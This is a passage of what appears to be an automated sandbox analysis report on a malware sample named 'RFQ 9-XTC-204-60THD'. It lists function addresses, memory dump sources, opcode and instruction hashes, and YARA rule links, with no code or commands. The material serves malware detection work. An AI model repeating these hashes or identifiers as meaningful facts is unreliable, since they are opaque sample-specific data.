                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: df9fb1c23820d85429ea10729bb6f757d73915e9b0c26bc622759de9bfcbff73
                                                                                                      • Instruction ID: 4e76152b981651558fe2d9c6b65818eb5f705d89ee1f0fe7c572fde78d05b07c
                                                                                                      • Opcode Fuzzy Hash: df9fb1c23820d85429ea10729bb6f757d73915e9b0c26bc622759de9bfcbff73
                                                                                                      • Instruction Fuzzy Hash: F031D475E002089FDF05DFA9D854AEEBBB6FF88310F10802AE416B7264DA315941DFA5
                                                                                                      Function 06E4D198 Relevance: .1, Instructions: 78COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9737321ba9391f19afd7a7fbbfce28ae94fabb62b31a6f2a95f40523665df1a7
                                                                                                      • Instruction ID: 4855a8db34fcb9ee336ad0bf9418d09b3eb55b7f7a662ebbf6a3f59fd12ad28e
                                                                                                      • Opcode Fuzzy Hash: 9737321ba9391f19afd7a7fbbfce28ae94fabb62b31a6f2a95f40523665df1a7
                                                                                                      • Instruction Fuzzy Hash: 1621F130601319AFD750EB39D8497EEBBEAEF84350F108539E10AD7685DB71AA058BE4
                                                                                                      Function 072ADD60 Relevance: .1, Instructions: 78COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ef6751a1d80f43349e4f4d8d4eabcde5b1aac494b7a2aca42f1be2fe34986545
                                                                                                      • Instruction ID: 8131aae1f1fef896708d75d67f7d032489e3804a7f20c902bd04a8d39f66bcde
                                                                                                      • Opcode Fuzzy Hash: ef6751a1d80f43349e4f4d8d4eabcde5b1aac494b7a2aca42f1be2fe34986545
                                                                                                      • Instruction Fuzzy Hash: 5D218770B10A09DFCB00EF68C5448AEB7B5FF89300F50462AD50697360EF309A46CB92
                                                                                                      Function 06E4C628 Relevance: .1, Instructions: 75COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0b763eec6d783ec914d8d7a670a87ac7da2cc6c620c15e04fd0be326d872cafe
                                                                                                      • Instruction ID: 5ec015d15f370d7f25304839ef1b53ee8a7fffca9f76f1ba655092db96f9a09f
                                                                                                      • Opcode Fuzzy Hash: 0b763eec6d783ec914d8d7a670a87ac7da2cc6c620c15e04fd0be326d872cafe
                                                                                                      • Instruction Fuzzy Hash: 06213774D06208EFDB80EFA8E4846ADBBF1FB49704F20E4EAD40993255D7755A41CF40
                                                                                                      Function 072A1700 Relevance: .1, Instructions: 75COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 96b005534d1133dd249495bb5f5f73859763dc85ad28751fb0bbdefdda2bb992
                                                                                                      • Instruction ID: 9951dc7a1ec74c98fb67aac5268939b0562f199df43f54206a99c4fb517c73e8
                                                                                                      • Opcode Fuzzy Hash: 96b005534d1133dd249495bb5f5f73859763dc85ad28751fb0bbdefdda2bb992
                                                                                                      • Instruction Fuzzy Hash: 20215CB5E2020AEFDB10DB78C904BAEBBF4AF05360F108066D515D7290E774DE60CBA1
                                                                                                      Function 00D5D4A0 Relevance: .1, Instructions: 75COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1539992553.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d5d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 5fb422e5968c1f0dfc20f5a263c7e7c3c4f304ad87fde8b19c81bd85bf4ae8ea
                                                                                                      • Instruction ID: ad59e9971396bf839196c4d6bc8d2a774034ad82ea0067d1a6295b23628c10cd
                                                                                                      • Opcode Fuzzy Hash: 5fb422e5968c1f0dfc20f5a263c7e7c3c4f304ad87fde8b19c81bd85bf4ae8ea
                                                                                                      • Instruction Fuzzy Hash: 7D210371504204DFEF25DF14D9C0B26BBA6FB98329F24C569ED090B256C336D85ACAB2
                                                                                                      Function 06E4DC16 Relevance: .1, Instructions: 74COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 535134fcacfc3152471b8b68fe4868db66be35ca52a82351f05739faa3172db0
                                                                                                      • Instruction ID: 6def145403d42cabd1c2c0b1c01a04e628680ed4a86027d76e2dd8471c93c37d
                                                                                                      • Opcode Fuzzy Hash: 535134fcacfc3152471b8b68fe4868db66be35ca52a82351f05739faa3172db0
                                                                                                      • Instruction Fuzzy Hash: 42214C35A01219AFCB159FA9D8489EE7BB6FF8C320F145129E515AB390CB719841CBA0
                                                                                                      Function 072AA5A1 Relevance: .1, Instructions: 74COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: cd8326debb231698934639f1f78adaacca77c6b527acbf4d3dab84e76ff52bfc
                                                                                                      • Instruction ID: 205606e4c0afb195aecb1e181086d77aae83b43863bcb935e2a4007865cc62f4
                                                                                                      • Opcode Fuzzy Hash: cd8326debb231698934639f1f78adaacca77c6b527acbf4d3dab84e76ff52bfc
                                                                                                      • Instruction Fuzzy Hash: C9215B76A10115EFCB05CF99D888D99BBB2FF49720B0680A9F6099B272D731ED15CF40
                                                                                                      Function 00D6D118 Relevance: .1, Instructions: 74COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540092096.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d6d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 07e6d8768b5bbb942d2419f6799923103de170649da532c8895456cc3d50cd2f
                                                                                                      • Instruction ID: 89bdad09c4fc1ab330a379a2ad15170fbce10678b9918f03c3eba6db9508a062
                                                                                                      • Opcode Fuzzy Hash: 07e6d8768b5bbb942d2419f6799923103de170649da532c8895456cc3d50cd2f
                                                                                                      • Instruction Fuzzy Hash: 76212971A04344DFDB15DF14E9C0B26BBA6FB85314F24C56DE8490B245C3BAD846CBB2
                                                                                                      Function 00D6D01C Relevance: .1, Instructions: 72COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540092096.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d6d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 398615814d2ce556704da47f5e5fa77f4add7656388ccd5cfe9554feda78dc28
                                                                                                      • Instruction ID: 592539fc9a1a318ee67b83e867f314a587aa320f7358d2801beb4ea55fb1d703
                                                                                                      • Opcode Fuzzy Hash: 398615814d2ce556704da47f5e5fa77f4add7656388ccd5cfe9554feda78dc28
                                                                                                      • Instruction Fuzzy Hash: 0621C575A04344DFDB14DF14E584B26BBA6FB84314F24C56DE8494B296C337D847CA71
                                                                                                      Function 072A5C18 Relevance: .1, Instructions: 69COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 319dca85a1c0dccce7b27ae7071b03e68bab63b41cde4d65e6f0667ea9ac4b9a
                                                                                                      • Instruction ID: 58a860ea8f28780b26b11877f214fb16e2dac96870a4c28c5e05a9d7305be3a8
                                                                                                      • Opcode Fuzzy Hash: 319dca85a1c0dccce7b27ae7071b03e68bab63b41cde4d65e6f0667ea9ac4b9a
                                                                                                      • Instruction Fuzzy Hash: 73210475A102199FDB04DFA5C584ADEB7F2BB88310F2041A5E505AB2A5CB76AD40CFA0
                                                                                                      Function 06E43948 Relevance: .1, Instructions: 68COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b428f89774d64598877d15a932e994279c7938379e748276c1ab15872166178f
                                                                                                      • Instruction ID: 09a2eadb577c7f2713c21268d86da8c23605cfd6924cd7534b537c0ce1399b9f
                                                                                                      • Opcode Fuzzy Hash: b428f89774d64598877d15a932e994279c7938379e748276c1ab15872166178f
                                                                                                      • Instruction Fuzzy Hash: FE214874E04309DFDB44EFAAE0416AEBBB1FF84304F1491A9C905A7354DB359982CF91
                                                                                                      Function 072ADD50 Relevance: .1, Instructions: 68COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c3e84ec421ad9bb1284984da9edd6209026682081c673538045ea552510163df
                                                                                                      • Instruction ID: 9b0bdf890dc1a2c577b366888336b06f16ba22881df0998cde08c086945393fd
                                                                                                      • Opcode Fuzzy Hash: c3e84ec421ad9bb1284984da9edd6209026682081c673538045ea552510163df
                                                                                                      • Instruction Fuzzy Hash: 6421AA74B1060ADFCB01EF68C4449AEB7B5FF89300F50426AD50597360DB30AA46CBD6
                                                                                                      Function 072A5C14 Relevance: .1, Instructions: 67COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 12086e59ae11c52afb7c0393d87d828edd3c80ed0a5e0406d12ff15510a41be1
                                                                                                      • Instruction ID: 2f7c9bdbddc9d0f0358a047e77fe0d18320f05770c7d5d74e654878970c5de1a
                                                                                                      • Opcode Fuzzy Hash: 12086e59ae11c52afb7c0393d87d828edd3c80ed0a5e0406d12ff15510a41be1
                                                                                                      • Instruction Fuzzy Hash: 1E21F4B4A102199FDB04DF65C984ADEB7F2FB89310F2045A4E505AB2A6CB769D41CFA0
                                                                                                      Function 00D6D005 Relevance: .1, Instructions: 62COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540092096.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d6d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e25e06f76f7afb171da7f18cd3c33424baa21d81982f49bdf94fd2f5e1d4e87d
                                                                                                      • Instruction ID: 3e6ccf41e15ecc10b74f8d198d67d7e557bfeccea5e7c2c042a151b9152743ef
                                                                                                      • Opcode Fuzzy Hash: e25e06f76f7afb171da7f18cd3c33424baa21d81982f49bdf94fd2f5e1d4e87d
                                                                                                      • Instruction Fuzzy Hash: 6F2150755093808FDB12CF24D994715BF72EB46314F28C5EAD8498F6A7C33A980ACB62
                                                                                                      Function 072AC8B0 Relevance: .1, Instructions: 61COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 2f4367278ce214c27a129d18825aabc979888c64f062f4c002eac083d36679d1
                                                                                                      • Instruction ID: 28c0c7f800fce7824529a1568a719870d8008cfc4835c2cdbc928c2aa8dbc50e
                                                                                                      • Opcode Fuzzy Hash: 2f4367278ce214c27a129d18825aabc979888c64f062f4c002eac083d36679d1
                                                                                                      • Instruction Fuzzy Hash: 27218C74B107059FCB10EF68D884A6EB7B2FF88310F104569E5069B360EB30ED45DBA1
                                                                                                      Function 06E4DE11 Relevance: .1, Instructions: 60COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3140f8900dec8e9e61fab09d5801b4c798bff9db837b3f8ece1fae8142a2cd2d
                                                                                                      • Instruction ID: bdb90a7e8f960cb74bc4450898e84b1d1b215430c83b7ab3a8897695cc0a3506
                                                                                                      • Opcode Fuzzy Hash: 3140f8900dec8e9e61fab09d5801b4c798bff9db837b3f8ece1fae8142a2cd2d
                                                                                                      • Instruction Fuzzy Hash: 26118E34605308AFCB41EFB9EC805AE7BA6EF892547108179E905DB285DA318D058BA5
                                                                                                      Function 072A1070 Relevance: .1, Instructions: 59COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 4bb400983886d5f479345a1dc24d92ca756c3a90abbe8f61aa4a19d5b41f32f1
                                                                                                      • Instruction ID: 5bf539002ad0364181257d124a51e0086083a7f5997e2948c20be096daa31d9a
                                                                                                      • Opcode Fuzzy Hash: 4bb400983886d5f479345a1dc24d92ca756c3a90abbe8f61aa4a19d5b41f32f1
                                                                                                      • Instruction Fuzzy Hash: F811E970719288AFC705CF68C451D9A7BBADF8231072581EAE945CB352CE32ED15CBE1
                                                                                                      Function 06E4E1F1 Relevance: .1, Instructions: 57COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 02a69d96122fc3ef3b0f3d868dd3f389b11b1dcdb4206e9226d4a0fbdfe2e409
                                                                                                      • Instruction ID: c1ff66787847e278120d787a1f94f738b7eb4af70fe87cd4f264f3737dcebe2f
                                                                                                      • Opcode Fuzzy Hash: 02a69d96122fc3ef3b0f3d868dd3f389b11b1dcdb4206e9226d4a0fbdfe2e409
                                                                                                      • Instruction Fuzzy Hash: 9001D4353093A69FC712DE69FC84CAA7BB9EB8A61031140A6F505CB262CA20DC01CBA5
                                                                                                      Function 072D5014 Relevance: .1, Instructions: 56COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a7cfaec0cc9d3627ece8566e38858f6ffb9e468f918a429c7f1fc49795198814
                                                                                                      • Instruction ID: 6e69d62c186549d4b6b2cb55c4f64e3cabde0313023da6bc72a2a6dac4484703
                                                                                                      • Opcode Fuzzy Hash: a7cfaec0cc9d3627ece8566e38858f6ffb9e468f918a429c7f1fc49795198814
                                                                                                      • Instruction Fuzzy Hash: B5315278A012288FDB64DF29D9849DDB7F1FB49304F1081E9E909E7355D630AEA1DF60
                                                                                                      Function 00D5D49B Relevance: .1, Instructions: 56COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1539992553.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d5d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 335ff2cd27920e120e44ddd98b5f99d48130ef09aa4f624435d54826826d70db
                                                                                                      • Instruction ID: dbd5662f3883c6aff65410cda4c1f93e53cd193cb548e94c235161637bf3ce79
                                                                                                      • Opcode Fuzzy Hash: 335ff2cd27920e120e44ddd98b5f99d48130ef09aa4f624435d54826826d70db
                                                                                                      • Instruction Fuzzy Hash: 8E11AF76504240CFDF26CF14D5C4B16BF62FB94324F2885A9DD094B256C336D85ACBA2
                                                                                                      Function 00D6D113 Relevance: .1, Instructions: 55COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1540092096.0000000000D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D6D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d6d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c5d6d8db5e1764cd291c4a1ab6d80ad27c22b68cf03b40469e60cbe455f203d4
                                                                                                      • Instruction ID: d741ade0cafe2347c8aacc0d7dd48abd1b2b1bafd00067068a5450f6fb18e2f4
                                                                                                      • Opcode Fuzzy Hash: c5d6d8db5e1764cd291c4a1ab6d80ad27c22b68cf03b40469e60cbe455f203d4
                                                                                                      • Instruction Fuzzy Hash: 6111D376904280CFCB11CF10E9C4B16BFB2FB85314F28C1A9DC490B656C37AD81ACBA2
                                                                                                      Function 06E4E220 Relevance: .1, Instructions: 51COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 39a4f9b9e0c0a1c0a165e56831951b9e9af2ba95d7f1abcaa8b68d4040819fac
                                                                                                      • Instruction ID: a459cb197e3ca8bec6584c54d1b30e4c190b62ddeed9b3a360cf0d50cdc2f6ad
                                                                                                      • Opcode Fuzzy Hash: 39a4f9b9e0c0a1c0a165e56831951b9e9af2ba95d7f1abcaa8b68d4040819fac
                                                                                                      • Instruction Fuzzy Hash: 85014436340319AFDB109E59EC84F9F77A9FBC8B21F108066FA15CB390CAB1D9119B50
                                                                                                      Function 072A470F Relevance: .0, Instructions: 50COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 26eff603b29b3ff56c37443efde9ac1c6ac090d1aa13812dc92979ed5fb6910d
                                                                                                      • Instruction ID: 3acfc82a100aa5bda802ce255bfadd54fdcd2c21f3cebc99a78da47c2d9b66fb
                                                                                                      • Opcode Fuzzy Hash: 26eff603b29b3ff56c37443efde9ac1c6ac090d1aa13812dc92979ed5fb6910d
                                                                                                      • Instruction Fuzzy Hash: 3C11DEB6A0011CEF8B15DF99D840CDEB7FDFF89350B014166E505E7220E630E905CBA0
                                                                                                      Function 06E43939 Relevance: .0, Instructions: 49COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7163d4ac73c6d0aea67966f36cc9189d3779bcaac1dcc661247eaccf127d47f6
                                                                                                      • Instruction ID: db55ee5d7827552eed870d4ddf951105248142593ec7b502bf29a8c9114d8990
                                                                                                      • Opcode Fuzzy Hash: 7163d4ac73c6d0aea67966f36cc9189d3779bcaac1dcc661247eaccf127d47f6
                                                                                                      • Instruction Fuzzy Hash: F6111BB0D09349DFDB44EFBAA4412AEBFF5AB85300F5891AAC508E2255D7354A41CF91
                                                                                                      Function 072AD0D9 Relevance: .0, Instructions: 49COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c2a7234dda1051b9f5acaaf5235336a0aee8f155af93e6cebd9c573abbee352f
                                                                                                      • Instruction ID: 2b40fbe72473fcce2d190a9a3d9f9ad7156ecef7943b68e570e0ae3411ffd6b4
                                                                                                      • Opcode Fuzzy Hash: c2a7234dda1051b9f5acaaf5235336a0aee8f155af93e6cebd9c573abbee352f
                                                                                                      • Instruction Fuzzy Hash: AE01D2B1710300AFC7249B34D454A6B7BA2AFCA320F008569E5568BB90DB71EC42D791
                                                                                                      Function 072EF280 Relevance: .0, Instructions: 46COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: bec9a72db17a76505e863e8ac3c68ac23e1369d63eeca4d9a819cef5c60d7e1b
                                                                                                      • Instruction ID: 4ace9eb20f72b1266a59f30ec2fbcc33b501f1c21a327d2f68d311f68a9f8cfb
                                                                                                      • Opcode Fuzzy Hash: bec9a72db17a76505e863e8ac3c68ac23e1369d63eeca4d9a819cef5c60d7e1b
                                                                                                      • Instruction Fuzzy Hash: C111F7B4E002099FDB44DFB9D9457AEFBF1FF88300F10816A9919A7354DA305A018FA5
                                                                                                      Function 072A75C2 Relevance: .0, Instructions: 45COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c09a50aa592733f70f9c99bb0e7da8ce87d63d6965d265e9721de837f0b8e837
                                                                                                      • Instruction ID: 15b314a378b118412b1793fa54da6ab476d9ff3d598d19cb22aa11354def70bf
                                                                                                      • Opcode Fuzzy Hash: c09a50aa592733f70f9c99bb0e7da8ce87d63d6965d265e9721de837f0b8e837
                                                                                                      • Instruction Fuzzy Hash: 38F0C235B10115BBCB149A19D894EBABBA9DFD8760B04403AF915D7361DB309C1286E4
                                                                                                      Function 00D5D76D Relevance: .0, Instructions: 45COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1539992553.0000000000D5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D5D000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_d5d000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 8b3fb4c6d91d99cd7f18d4b53d05142432b5529062c483013950cedac899402e
                                                                                                      • Instruction ID: ef544d19ed02990e234696e9920ec8f609ee2a3f568f5d71f5f5215e4ab5f0a1
                                                                                                      • Opcode Fuzzy Hash: 8b3fb4c6d91d99cd7f18d4b53d05142432b5529062c483013950cedac899402e
                                                                                                      • Instruction Fuzzy Hash: 4601F731008344ABEB304A21C880766BBD8EF45326F18C029ED4A0A282C3799D48CA72
                                                                                                      Function 072AD0E8 Relevance: .0, Instructions: 44COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
